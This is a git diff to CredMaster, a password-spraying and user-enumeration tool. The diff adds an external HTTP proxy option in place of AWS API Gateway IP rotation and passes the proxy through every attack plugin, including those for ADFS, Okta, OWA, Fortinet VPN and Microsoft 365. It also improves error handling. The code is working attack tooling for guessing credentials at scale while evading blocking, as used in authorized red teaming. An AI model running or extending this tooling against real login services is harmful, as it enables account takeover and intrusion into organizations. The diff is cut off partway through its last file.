diff --git a/.gitignore b/.gitignore index c38be60..5010394 100644 --- a/.gitignore +++ b/.gitignore @@ -5,3 +5,5 @@ venv/ env/ __pycache__/ .DS_Store +.idea/ +.venv/ diff --git a/README.md b/README.md index 7784b4e..ff7df24 100644 --- a/README.md +++ b/README.md @@ -70,17 +70,27 @@ The following plugins are currently supported: Example Use: -``` + +```shell python3 credmaster.py --plugin {pluginname} --access_key {key} --secret_access_key {key} -u userfile -p passwordfile -a useragentfile {otherargs} ``` or -``` +```shell python3 credmaster.py --config config.json ``` -This tool requires AWS API access keys, a walkthrough on how to acquire these keys can be found here: https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b +This tool primarily requires AWS API access keys, a walkthrough on how to acquire these keys can be found here: https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b + +However: if you want to use a custom proxy instead of AWS IP gateways, you can use the `--proxy` and `--proxy-auth` arguments to specify a proxy to use. If your proxy does not require auth, then only use the `--proxy` argument. +ex: + +```shell +python3 credmaster.py --plugin {pluginname} --proxy 'foo.bar.baz:12345' --proxy-auth 'proxyuser:proxypass' -u userfile -p passwordfile -a useragentfile {otherargs} +``` + +currently, `--proxy` option only supports HTTP proxies and doesn't yet support multiple proxies, but this would be relatively easy to add support for. All other usage details can be found [on the wiki](https://github.com/knavesec/CredMaster/wiki/Usage) diff --git a/credmaster.py b/credmaster.py index a0884d2..5412179 100755 --- a/credmaster.py +++ b/credmaster.py @@ -4,6 +4,7 @@ from utils.fire import FireProx import utils.utils as utils import utils.notify as notify +from urllib.parse import quote class CredMaster(object): @@ -93,6 +94,10 @@ def parse_all_args(self, args): self.jitter_min = args.jitter_min or config_dict.get("jitter_min") self.delay = args.delay or config_dict.get("delay") + # Proxy settings + self.proxy = args.proxy or config_dict.get("proxy") + self.proxy_auth = args.proxy_auth or config_dict.get("proxy_auth") + self.batch_size = args.batch_size or config_dict.get("batch_size") self.batch_delay = args.batch_delay or config_dict.get("batch_delay") if self.batch_size != None and self.batch_delay == None: @@ -155,25 +160,29 @@ def do_input_error_handling(self): self.log_entry(f"Useragent file {self.useragentfile} cannot be found") sys.exit() - # AWS Key Handling - if self.session_token is not None and (self.secret_access_key is None or self.access_key is None): - self.log_entry("Session token requires access_key and secret_access_key") - sys.exit() - if self.profile_name is not None and (self.access_key is not None or self.secret_access_key is not None): - self.log_entry("Cannot use a passed profile and keys") - sys.exit() - if self.access_key is not None and self.secret_access_key is None: - self.log_entry("access_key requires secret_access_key") - sys.exit() - if self.access_key is None and self.secret_access_key is not None: - self.log_entry("secret_access_key requires access_key") - sys.exit() - if self.access_key is None and self.secret_access_key is None and self.session_token is None and self.profile_name is None: - self.log_entry("No FireProx access arguments settings configured, add access keys/session token or fill out config file") - sys.exit() - - # Region handling - if self.region is not None and self.region not in self.regions: + # Determine if AWS/FireProx creds are required (utilities or no proxy provided) + require_aws = self.clean or self.api_list or (self.api_destroy is not None) or (self.proxy is None) + + # AWS Key Handling (only when required) + if require_aws: + if self.session_token is not None and (self.secret_access_key is None or self.access_key is None): + self.log_entry("Session token requires access_key and secret_access_key") + sys.exit() + if self.profile_name is not None and (self.access_key is not None or self.secret_access_key is not None): + self.log_entry("Cannot use a passed profile and keys") + sys.exit() + if self.access_key is not None and self.secret_access_key is None: + self.log_entry("access_key requires secret_access_key") + sys.exit() + if self.access_key is None and self.secret_access_key is not None: + self.log_entry("secret_access_key requires access_key") + sys.exit() + if self.access_key is None and self.secret_access_key is None and self.session_token is None and self.profile_name is None: + self.log_entry("No FireProx access arguments settings configured, add access keys/session token or fill out config file") + sys.exit() + + # Region handling (only matters for FireProx mode) + if require_aws and self.region is not None and self.region not in self.regions: self.log_entry(f"Input region {self.region} not a supported AWS region, {self.regions}") sys.exit() @@ -230,7 +239,7 @@ def Execute(self, args): ## pluginargs['thread_count'] = self.thread_count - self.start_time = datetime.datetime.utcnow() + self.start_time = datetime.datetime.now(datetime.UTC) self.log_entry(f"Execution started at: {self.start_time}") # Check with plugin to make sure it has the data that it needs @@ -268,6 +277,22 @@ def Execute(self, args): self.log_entry(f"Setting static X-Forwarded-For header to: \"{self.xforwardedfor}\"") pluginargs["xforwardedfor"] = self.xforwardedfor + # Build requests proxies if external proxy provided + if self.proxy is not None: + proxy_input = self.proxy + if not proxy_input.startswith("http://") and not proxy_input.startswith("https://"): + proxy_input = "http://" + proxy_input + if self.proxy_auth is not None: + user, pwd = self.proxy_auth.split(":", 1) + user_e = quote(user, safe='') + pwd_e = quote(pwd, safe='') + scheme, rest = proxy_input.split("://", 1) + proxy_url = f"{scheme}://{user_e}:{pwd_e}@{rest}" + else: + proxy_url = proxy_input + pluginargs["proxies"] = {"http": proxy_url, "https": proxy_url} + self.log_entry(f"External proxy configured: {proxy_input} (auth={'yes' if self.proxy_auth else 'no'})") + # this is the original URL, NOT the fireproxy one. Don't use this in your sprays! url = pluginargs["url"] @@ -342,19 +367,19 @@ def Execute(self, args): if self.delay is None or len(passwords) == 1 or password == passwords[len(passwords)-1]: if self.userpassfile != None: - self.log_entry(f"Completed spray with user-pass file {self.userpassfile} at {datetime.datetime.utcnow()}") + self.log_entry(f"Completed spray with user-pass file {self.userpassfile} at {datetime.datetime.now(datetime.UTC)}") elif self.userenum: - self.log_entry(f"Completed userenum at {datetime.datetime.utcnow()}") + self.log_entry(f"Completed userenum at {datetime.datetime.now(datetime.UTC)}") else: - self.log_entry(f"Completed spray with password {password} at {datetime.datetime.utcnow()}") + self.log_entry(f"Completed spray with password {password} at {datetime.datetime.now(datetime.UTC)}") notify.notify_update(f"Info: Spray complete.", self.notify_obj) continue elif count != self.passwordsperdelay: - self.log_entry(f"Completed spray with password {password} at {datetime.datetime.utcnow()}, moving on to next password...") + self.log_entry(f"Completed spray with password {password} at {datetime.datetime.now(datetime.UTC)}, moving on to next password...") continue else: - self.log_entry(f"Completed spray with password {password} at {datetime.datetime.utcnow()}, sleeping for {self.delay} minutes before next password spray") + self.log_entry(f"Completed spray with password {password} at {datetime.datetime.now(datetime.UTC)}, sleeping for {self.delay} minutes before next password spray") self.log_entry(f"Valid credentials discovered: {len(self.results)}") for success in self.results: self.log_entry(f"Valid: {success['username']}:{success['password']}") @@ -376,7 +401,7 @@ def Execute(self, args): self.log_entry("Second KeyboardInterrupt detected, unable to clean up APIs :( try the --clean option") # Capture duration - self.end_time = datetime.datetime.utcnow() + self.end_time = datetime.datetime.now(datetime.UTC) self.time_lapse = (self.end_time-self.start_time).total_seconds() # Print stats @@ -389,10 +414,19 @@ def load_apis(self, url, region=None): self.log_entry("Thread count over maximum, reducing to 15") self.thread_count = len(self.regions) + if self.proxy is not None: + self.log_entry(f"External proxy mode enabled; creating {self.thread_count} logical workers for {url}") + self.apis = [] + for x in range(0, self.thread_count): + worker_region = f"proxy-{x+1}" + self.apis.append({"api_gateway_id": None, "proxy_url": url.strip(), "region": worker_region}) + self.log_entry(f"Worker created - {worker_region} - {url}") + return + self.log_entry(f"Creating {self.thread_count} API Gateways for {url}") - + self.apis = [] - + # slow but multithreading this causes errors in boto3 for some reason :( for x in range(0,self.thread_count): reg = self.regions[x] @@ -474,9 +508,13 @@ def destroy_single_api(self, api): def destroy_apis(self): - + + # In external proxy mode, nothing to destroy + if self.proxy is not None: + self.log_entry("External proxy mode: no AWS APIs to destroy") + return + for api in self.apis: - args, help_str = self.get_fireprox_args("delete", api["region"], api_id = api["api_gateway_id"]) fp = FireProx(args, help_str) self.log_entry(f"Destroying API ({args['api_id']}) in region {api['region']}") @@ -629,7 +667,7 @@ def ww_calc_next_spray_delay(self, offset): spray_times = [8,12,14] # launch sprays at 7AM, 11AM and 3PM - now = datetime.datetime.utcnow() + datetime.timedelta(hours=offset) + now = datetime.datetime.now(datetime.UTC) + datetime.timedelta(hours=offset) hour_cur = int(now.strftime("%H")) minutes_cur = int(now.strftime("%M")) day_cur = int(now.weekday()) @@ -675,7 +713,7 @@ def log_entry(self, entry): self.lock.acquire() - ts = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] + ts = datetime.datetime.now(datetime.UTC).strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] print(f"[{ts}] {entry}") if self.outfile is not None: @@ -739,6 +777,10 @@ def log_success(self, username, password): adv_args.add_argument('--weekday_warrior', default=None, required=False, help="If you don't know what this is don't use it, input is timezone UTC offset") adv_args.add_argument('--color', default=False, action="store_true", required=False, help="Output spray results in Green/Yellow/Red colors") adv_args.add_argument('--trim', '--remove', action="store_true", help="Remove users with found credentials from future sprays") + + proxy_args = parser.add_argument_group(title='External Proxy Options') + proxy_args.add_argument('--proxy', type=str, default=None, help="External proxy endpoint 'host:port' or URL. If set, FireProx AWS creds are not required for spraying.") + proxy_args.add_argument('--proxy-auth', type=str, default=None, help="External proxy basic auth in 'user:pass' format. Optional.") notify_args = parser.add_argument_group(title='Notification Inputs') notify_args.add_argument('--slack_webhook', type=str, default=None, help='Webhook link for Slack notifications') diff --git a/plugins/adfs/__init__.py b/plugins/adfs/__init__.py index f7a08be..a8ea173 100644 --- a/plugins/adfs/__init__.py +++ b/plugins/adfs/__init__.py @@ -28,7 +28,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict["proxy_url"], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict["proxy_url"], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/adfs/adfs.py b/plugins/adfs/adfs.py index a1968b1..27449f9 100644 --- a/plugins/adfs/adfs.py +++ b/plugins/adfs/adfs.py @@ -50,8 +50,8 @@ def adfs_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - - resp = requests.post("{}/adfs/ls/".format(url), headers=headers, params=params_data, data=post_data, allow_redirects=False) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.post("{}/adfs/ls/".format(url), headers=headers, params=params_data, data=post_data, allow_redirects=False, proxies=proxies) if resp.status_code == 302: data_response['result'] = "success" diff --git a/plugins/azuresso/__init__.py b/plugins/azuresso/__init__.py index 1ed96b3..465286b 100644 --- a/plugins/azuresso/__init__.py +++ b/plugins/azuresso/__init__.py @@ -30,7 +30,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/azuresso/azuresso.py b/plugins/azuresso/azuresso.py index 9869ac3..2772933 100644 --- a/plugins/azuresso/azuresso.py +++ b/plugins/azuresso/azuresso.py @@ -83,7 +83,8 @@ def azuresso_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - r = requests.post(f"{url}/{pluginargs['domain']}/winauth/trust/2005/usernamemixed?client-request-id={requestid}", data=tempdata, headers=headers, verify=False, timeout=30) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + r = requests.post(f"{url}/{pluginargs['domain']}/winauth/trust/2005/usernamemixed?client-request-id={requestid}", data=tempdata, headers=headers, proxies=proxies, verify=False, timeout=30) xmlresponse = str(r.content) creds = username + ":" + password diff --git a/plugins/azvault/__init__.py b/plugins/azvault/__init__.py index 26ec7f0..52bd3d2 100644 --- a/plugins/azvault/__init__.py +++ b/plugins/azvault/__init__.py @@ -20,7 +20,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/azvault/azvault.py b/plugins/azvault/azvault.py index 47dbaf9..ed4d42d 100644 --- a/plugins/azvault/azvault.py +++ b/plugins/azvault/azvault.py @@ -55,7 +55,8 @@ def azvault_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body, proxies=proxies) if resp.status_code == 200: data_response['result'] = "success" diff --git a/plugins/ews/__init__.py b/plugins/ews/__init__.py index a30f0d0..948f1c0 100644 --- a/plugins/ews/__init__.py +++ b/plugins/ews/__init__.py @@ -30,7 +30,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(url, headers=headers, verify=False) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(url, headers=headers, verify=False, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/ews/ews.py b/plugins/ews/ews.py index e705fba..e84b226 100644 --- a/plugins/ews/ews.py +++ b/plugins/ews/ews.py @@ -29,8 +29,8 @@ def ews_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - - resp = requests.post(f"{url}/ews/", headers=headers, auth=HttpNtlmAuth(username, password), verify=False) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.post(f"{url}/ews/", headers=headers, auth=HttpNtlmAuth(username, password), verify=False, proxies=proxies) if resp.status_code == 500: data_response['output'] = f"[*] POTENTIAL: Found credentials, but server returned 500: {username}:{password}" diff --git a/plugins/fortinetvpn/__init__.py b/plugins/fortinetvpn/__init__.py index 649e9ef..464534a 100644 --- a/plugins/fortinetvpn/__init__.py +++ b/plugins/fortinetvpn/__init__.py @@ -32,7 +32,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'] + "/remote/login?lang=en", headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'] + "/remote/login?lang=en", headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/fortinetvpn/fortinetvpn.py b/plugins/fortinetvpn/fortinetvpn.py index b99dde1..b8819c3 100644 --- a/plugins/fortinetvpn/fortinetvpn.py +++ b/plugins/fortinetvpn/fortinetvpn.py @@ -38,8 +38,8 @@ def fortinetvpn_authenticate(url, username, password, useragent, pluginargs): post_params['realm'] = pluginargs['domain'] try: - - resp = requests.post("{}/remote/logincheck".format(url),data=post_params,headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.post("{}/remote/logincheck".format(url),data=post_params,headers=headers, proxies=proxies) if resp.status_code == 200 and 'redir=' in resp.text and '&portal=' in resp.text: data_response['result'] = "success" diff --git a/plugins/gmailenum/__init__.py b/plugins/gmailenum/__init__.py index 3332602..90f5759 100644 --- a/plugins/gmailenum/__init__.py +++ b/plugins/gmailenum/__init__.py @@ -23,7 +23,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/gmailenum/gmailenum.py b/plugins/gmailenum/gmailenum.py index d953117..5aa220f 100644 --- a/plugins/gmailenum/gmailenum.py +++ b/plugins/gmailenum/gmailenum.py @@ -26,8 +26,8 @@ def gmailenum_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - - resp = requests.get(f"{url}/mail/gxlu",params={"email":username},headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(f"{url}/mail/gxlu",params={"email":username}, headers=headers, proxies=proxies) if "Set-Cookie" in resp.headers.keys(): data_response['result'] = "success" diff --git a/plugins/httpbrute/__init__.py b/plugins/httpbrute/__init__.py index 911795b..26f039d 100644 --- a/plugins/httpbrute/__init__.py +++ b/plugins/httpbrute/__init__.py @@ -38,7 +38,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/httpbrute/httpbrute.py b/plugins/httpbrute/httpbrute.py index 9087fdd..76a5be2 100644 --- a/plugins/httpbrute/httpbrute.py +++ b/plugins/httpbrute/httpbrute.py @@ -27,22 +27,22 @@ def httpbrute_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - resp = None + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None full_url = f"{url}/{pluginargs['uri']}" if pluginargs['auth'] == 'basic': auth = requests.auth.HTTPBasicAuth(username, password) - resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30) + resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30, proxies=proxies) elif pluginargs['auth'] == 'digest': auth = requests.auth.HTTPDigestAuth(username, password) - resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30) + resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30, proxies=proxies) else: # NTLM auth = requests_ntlm.HttpNtlmAuth(username, password) - resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30) + resp = requests.get(url=full_url, auth=auth, verify=False, timeout=30, proxies=proxies) if resp.status_code == 200: @@ -61,7 +61,7 @@ def httpbrute_authenticate(url, username, password, useragent, pluginargs): except Exception as ex: data_response['error'] = True - data_response['output'] = ex + data_response['output'] = str(ex) pass return data_response diff --git a/plugins/httppost/__init__.py b/plugins/httppost/__init__.py index da50f11..3b218bf 100644 --- a/plugins/httppost/__init__.py +++ b/plugins/httppost/__init__.py @@ -57,7 +57,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/httppost/httppost.py b/plugins/httppost/httppost.py index a518125..4428dea 100644 --- a/plugins/httppost/httppost.py +++ b/plugins/httppost/httppost.py @@ -33,15 +33,15 @@ def httppost_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - resp = None + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None full_url = f"{url}/{pluginargs['uri']}" # Replace {USER} and {PASS} placeholders in the body body = pluginargs['body'].replace("{USER}", username).replace("{PASS}", password) - resp = requests.post(url=full_url, data=body, headers=headers, verify=False, timeout=30) + resp = requests.post(url=full_url, data=body, headers=headers, proxies=proxies, verify=False, timeout=30) if resp.status_code == 200: data_response['result'] = "success" diff --git a/plugins/msgraph/__init__.py b/plugins/msgraph/__init__.py index 158b4b0..f449255 100644 --- a/plugins/msgraph/__init__.py +++ b/plugins/msgraph/__init__.py @@ -21,7 +21,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/msgraph/msgraph.py b/plugins/msgraph/msgraph.py index e545c6a..053541a 100644 --- a/plugins/msgraph/msgraph.py +++ b/plugins/msgraph/msgraph.py @@ -57,7 +57,8 @@ def msgraph_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body, proxies=proxies) if resp.status_code == 200: data_response['result'] = "success" diff --git a/plugins/msol/__init__.py b/plugins/msol/__init__.py index e2d2422..7ab981f 100644 --- a/plugins/msol/__init__.py +++ b/plugins/msol/__init__.py @@ -20,12 +20,24 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) - - if resp.status_code == 504: - output = "Testconnect: Connection failed, endpoint timed out, exiting" + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + try: + resp = requests.get(api_dict['proxy_url'], headers=headers, proxies=proxies) + if resp.status_code == 504: + output = "Testconnect: Connection failed, endpoint timed out, exiting" + success = False + else: + output = "Testconnect: Connection success, continuing" + except requests.exceptions.ProxyError as ex: + success = False + msg = str(ex) + hint = " Add --proxy-auth 'user:pass' or verify provided credentials if your proxy requires authentication." + if "407" in msg: + output = f"Testconnect: Proxy authentication required (HTTP 407).{hint}" + else: + output = f"Testconnect: Proxy connection error: {msg}.{hint}" + except Exception as ex: success = False - else: - output = "Testconnect: Connection success, continuing" + output = f"Testconnect: Unexpected error: {ex}" return success, output, pluginargs diff --git a/plugins/msol/msol.py b/plugins/msol/msol.py index f546d55..df59b57 100644 --- a/plugins/msol/msol.py +++ b/plugins/msol/msol.py @@ -55,7 +55,8 @@ def msol_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body, proxies=proxies) if resp.status_code == 200: data_response['result'] = "success" @@ -64,8 +65,8 @@ def msol_authenticate(url, username, password, useragent, pluginargs): else: response = resp.json() - error = response["error_description"] - error_code = extract_error(error) + error = response.get("error_description", "") + error_code = extract_error(error) if error else str(resp.status_code) if "AADSTS50126" in error: data_response['result'] = "failure" @@ -131,9 +132,19 @@ def msol_authenticate(url, username, password, useragent, pluginargs): data_response['result'] = "failure" data_response['output'] = f"[-] FAILURE ({error_code}): Got an error we haven't seen yet for user {username}" + except requests.exceptions.ProxyError as ex: + data_response['error'] = True + msg = str(ex) + hint = " Use --proxy-auth 'user:pass' or verify the provided proxy credentials." + if "407" in msg: + data_response['output'] = f"Proxy authentication required (HTTP 407).{hint}" + else: + data_response['output'] = f"Proxy connection error: {msg}.{hint}" + except requests.exceptions.RequestException as ex: + data_response['error'] = True + data_response['output'] = f"Request error: {ex}" except Exception as ex: data_response['error'] = True - data_response['output'] = ex - pass + data_response['output'] = str(ex) return data_response diff --git a/plugins/o365enum/__init__.py b/plugins/o365enum/__init__.py index 9a620fb..72a542f 100644 --- a/plugins/o365enum/__init__.py +++ b/plugins/o365enum/__init__.py @@ -23,7 +23,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'] + "/common/GetCredentialType", headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'] + "/common/GetCredentialType", headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/o365enum/o365enum.py b/plugins/o365enum/o365enum.py index c2ac84d..cca1d63 100644 --- a/plugins/o365enum/o365enum.py +++ b/plugins/o365enum/o365enum.py @@ -54,7 +54,8 @@ def o365enum_authenticate(url, username, password, useragent, pluginargs): sess = requests.session() - response = sess.post(f"{url}/common/GetCredentialType", headers=headers, data=body) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + response = sess.post(f"{url}/common/GetCredentialType", headers=headers, data=body, proxies=proxies) throttle_status = int(response.json()['ThrottleStatus']) if_exists_result = str(response.json()['IfExistsResult']) diff --git a/plugins/okta/__init__.py b/plugins/okta/__init__.py index c1c2344..c3d3cf7 100644 --- a/plugins/okta/__init__.py +++ b/plugins/okta/__init__.py @@ -35,7 +35,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/okta/okta.py b/plugins/okta/okta.py index 710ae3a..48722de 100644 --- a/plugins/okta/okta.py +++ b/plugins/okta/okta.py @@ -30,7 +30,8 @@ def okta_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - resp = requests.post(f"{url}/api/v1/authn/",data=raw_body,headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.post(f"{url}/api/v1/authn/", data=raw_body, headers=headers, proxies=proxies) if resp.status_code == 200: resp_json = json.loads(resp.text) diff --git a/plugins/owa/__init__.py b/plugins/owa/__init__.py index 7001927..e6b8529 100644 --- a/plugins/owa/__init__.py +++ b/plugins/owa/__init__.py @@ -30,7 +30,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(url, headers=headers, verify=False) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(url, headers=headers, verify=False, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/owa/owa.py b/plugins/owa/owa.py index 1305571..f0843df 100644 --- a/plugins/owa/owa.py +++ b/plugins/owa/owa.py @@ -29,8 +29,8 @@ def owa_authenticate(url, username, password, useragent, pluginargs): headers = utils.add_custom_headers(pluginargs, headers) try: - - resp = requests.get(f"{url}/autodiscover/autodiscover.xml", headers=headers, auth=HttpNtlmAuth(username, password), verify=False) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(f"{url}/autodiscover/autodiscover.xml", headers=headers, auth=HttpNtlmAuth(username, password), verify=False, proxies=proxies) if resp.status_code == 200: data_response['output'] = f"[+] SUCCESS: Found credentials: {username}:{password}" diff --git a/plugins/pingfed/__init__.py b/plugins/pingfed/__init__.py index 270f985..5e1ca33 100644 --- a/plugins/pingfed/__init__.py +++ b/plugins/pingfed/__init__.py @@ -28,7 +28,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict["proxy_url"], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict["proxy_url"], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/pingfed/pingfed.py b/plugins/pingfed/pingfed.py index e6984ca..e0a9324 100644 --- a/plugins/pingfed/pingfed.py +++ b/plugins/pingfed/pingfed.py @@ -55,6 +55,10 @@ def pingfed_authenticate(url, username, password, useragent, pluginargs): # Get cookie and form action URL. Update with each request to avoid "page expired" responses. sess = requests.session() + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + # add proxies to the session if proxies are provided + if isinstance(proxies, dict): + sess.proxies = proxies resp = sess.get(full_url, headers=headers, params=params_data) page = BeautifulSoup(resp.text, features="html.parser") action = page.find('form').get('action') diff --git a/plugins/template/MS_Template/__init__.py b/plugins/template/MS_Template/__init__.py index 26ec7f0..52bd3d2 100644 --- a/plugins/template/MS_Template/__init__.py +++ b/plugins/template/MS_Template/__init__.py @@ -20,7 +20,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/template/MS_Template/template.py b/plugins/template/MS_Template/template.py index 5636aba..ff418ce 100644 --- a/plugins/template/MS_Template/template.py +++ b/plugins/template/MS_Template/template.py @@ -57,7 +57,8 @@ def template_authenticate(url, username, password, useragent, pluginargs): # TOD # TODO: change this as needed for your attack try: - resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.post(f"{url}/common/oauth2/token", headers=headers, data=body, proxies=proxies) if resp.status_code == 200: data_response['result'] = "success" diff --git a/plugins/template/__init__.py b/plugins/template/__init__.py index 3e2e719..fc53c35 100644 --- a/plugins/template/__init__.py +++ b/plugins/template/__init__.py @@ -36,7 +36,8 @@ def testconnect(pluginargs, args, api_dict, useragent): headers = utils.add_custom_headers(pluginargs, headers) - resp = requests.get(api_dict['proxy_url'], headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.get(api_dict['proxy_url'], headers=headers, proxies=proxies) if resp.status_code == 504: output = "Testconnect: Connection failed, endpoint timed out, exiting" diff --git a/plugins/template/template.py b/plugins/template/template.py index f28487f..b45cf98 100644 --- 